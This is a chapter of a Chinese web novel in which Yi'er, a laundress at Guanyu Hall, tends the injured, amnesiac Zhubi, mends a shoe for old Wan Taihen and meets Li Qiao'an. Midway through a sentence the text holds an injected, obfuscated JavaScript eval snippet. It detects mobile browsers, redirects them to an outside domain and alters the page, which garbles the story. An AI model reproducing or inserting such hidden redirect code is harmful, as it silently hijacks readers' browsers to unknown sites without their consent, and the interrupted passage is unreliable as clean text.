李荞安笑了笑,“对了莺语,你可知宜尔她一直攒钱,离开这里后想做些什么?” “宜尔把日子规划得很精确的。要先成亲,然后生个孩子,孩子带到六岁送进学堂,她再去开间书铺,边卖书边看书,钱要是够,老了能养自己和丈夫,孩子也自在。” 李荞安眼神微动,“我还以为她不想嫁人。” “年纪是大了些,不过她是不急着嫁人啦。红璎你可知道宜尔是怎么来冠玉馆的?” 李荞安年少来此时宜尔便在了,不过一前一后,从未见过,只有听闻。 李荞安回道:“听说是同母亲逃荒至闭城,后来又随着母亲在冠玉馆谋生。宜尔未成人时母亲逝世,馆主看她年幼又无依靠,便留她在此洗衣。” 莺语点点头,“冠玉馆的活是柴爷介绍给宜尔娘亲的。柴爷自己没孩子,把宜尔娘亲当女儿,宜尔当孙女一样照顾,所以宜尔发誓会为柴爷养老送终。柴爷这个老顽固,八十多岁舌头都不行了,全靠手感做菜,但就想做厨子到死,宜尔便也就这样陪着他。” “……原来如此。” “怎么?你想给宜尔介绍男人不成?” 李荞安苦笑,“我哪认识什么好男人?” 他低头,用筷子夹过菜,但迟迟没有举起咽下。 * 也许是伤重没有胃口,宜尔没有多问。她静静等逐璧两口一停、两口一停地吃完,将桌子收拾好后自己才去吃饭。 逐璧饭后要午寐。 宜尔将人推到床边,逐璧自己将外衫褪去。 宜尔纠结了下动作,最后将手穿过他腋下,把他整个人托抱起来。逐璧人高,重得她有点手软。 蹲身抱起时,逐璧的脸就别在宜尔脸侧,偶尔会擦到她脖颈,宜尔能闻到那股青橘甜涩的气息。 她迅速将人放下、摆好、盖好,舒了口气。 “安心睡吧,公子。我就在屋内等你醒来。” 逐璧轻笑,“宜尔当真可靠。” “公子谬赞了。”宜尔走出去,又抱了个竹筐进来,筐内放了四五件破裂的衣裳。 以前都是谁洗衣裳时碰到破的,顺手就缝了。如今宜尔将缝衣裳的小活揽了,缝好了再送回洗院,等贵仙来取。 短工上手需时间,宜尔想着尽量给大娘和秦姐姐减些活计。 好不容易闲点,她还总是想东想西,或许真就是个劳碌操心的命吧。 宜尔坐到窗口下。 米白色的线被她捏在两指之间——宜尔的手指并不纤细,常年泡水让手指微微发白肿胀,指尖因频繁用力而轻微弯曲,指腹有着薄茧,指甲与指头平齐,干净得透明。 她皱着眉头眯着眼,很认真地将线对着针口,一下就过去了。 垂首间,针 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621046|171342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来线去,不紧不慢,仿若拉奏着某支无声的曲子。 逐璧望了许久,闭上眼睛。 逐璧睡得很长,长到宜尔早早缝完衣裳,又看了本小书还未醒。见他似乎只是一副安稳入睡的模样,宜尔也没有叫醒人,继续坐着等。 窗台被染成橙黄时,逐璧缓缓睁开了眼,自己坐起身。 倚着墙睡的宜尔惊醒,见逐璧正看着她,她坐直,“到晚饭的点了,公子饿不饿?” 吃了睡,睡了吃,逐璧还没有那样的好胃口。他摇摇头。 “那公子,我要去洗院收衣裳,我推你去那边走走可行?” 逐璧含笑点首,“宜尔随意便是。” 宜尔推着逐璧一路到洗院。 随着天色变化,院子里半明半暗。宜尔将逐璧推到院中柿子树下,自己开始收衣裳。 她动作很快,手一抖一扯就将洗净的衣物收进筐中。 门槛上跨进一双破破烂烂的鞋子,一路走向水井。“咚”地一小声,是铜钱落了井。 宜尔从布料中探出头来,她看到万苔痕,也看见了他的鞋子,她走过去,“万先生,你鞋子破了个洞,脱下来我替你缝上吧。” 万苔痕摇头,“老朽一双破鞋臭烘烘,莫熏着姑娘了。” “鞋子是用来走路的,香臭没有分别。而且补东西本就是我的职责,万先生客气了。” 万苔痕也不再三推脱,“那便劳烦姑娘了。”他坐在凳上,将鞋脱下,宜尔伸手拿过去。怕他光着脚冷,宜尔又用布巾将他的脚缠裹起来。 万苔痕温然一笑,“多谢姑娘。” “先生叫我宜尔便是。” 万苔痕点首。 宜尔拿着鞋子进屋找工具。 缀满果实的柿子树下,逐璧默然望着万苔痕的背影。 万苔痕突然将脸半侧过去,“阁下何故杀气腾腾?” 逐璧颇为意外,“万先生是说我么?” 万苔痕有些疑惑,左右动了动脑袋,“奇怪……抱歉,吓着公子了。” 逐璧笑笑,“先生言重。” “不过公子气息比常人稳健绵长,似乎也是学武之人。” “他们说我曾经是的。不过如今双腿残废,记忆尽失。” 万苔痕道:“江湖本就如此,向来惊涛骇浪,不知掀翻溺毙多少人。留条残命,已是幸事。” “先生对此颇有感悟。” 万苔痕将脸朝向前方,“活得久,见得多罢了。” “万先生,鞋子好了。”宜尔走出来,替他穿上鞋。 万苔痕站起身,从衣间拿出一串铜钱递给她,“姑娘万莫谢绝,黄白之物对将死之人本就无甚大用。” 宜尔接下,“那就多谢先生。” 万苔痕只是点头,转身离去。 待一切收整完毕,天还蒙蒙亮着。宜尔推逐璧离开洗院,庭院小径上见到了意外人物。 “荞安?” 不远处的李荞安瞥了眼她身前的逐璧,又抬起眼,扬着笑走近,“宜尔,许久未见,都要忘记你相貌了。”语气熟络,仿佛未看见逐璧一般。 宜尔浑然未觉,笑答:“昨晚不还一起用饭?” 李荞安眼睫垂下,在面颊遮下阴影,又道:“莺语说她很想你,不知大忙人夜里还有吃消夜的功夫不?” “有,馆主说天黑来接——” “宜尔,”逐璧突然开口打断,仰面看她,嘴角微弯,“该推我回去了。”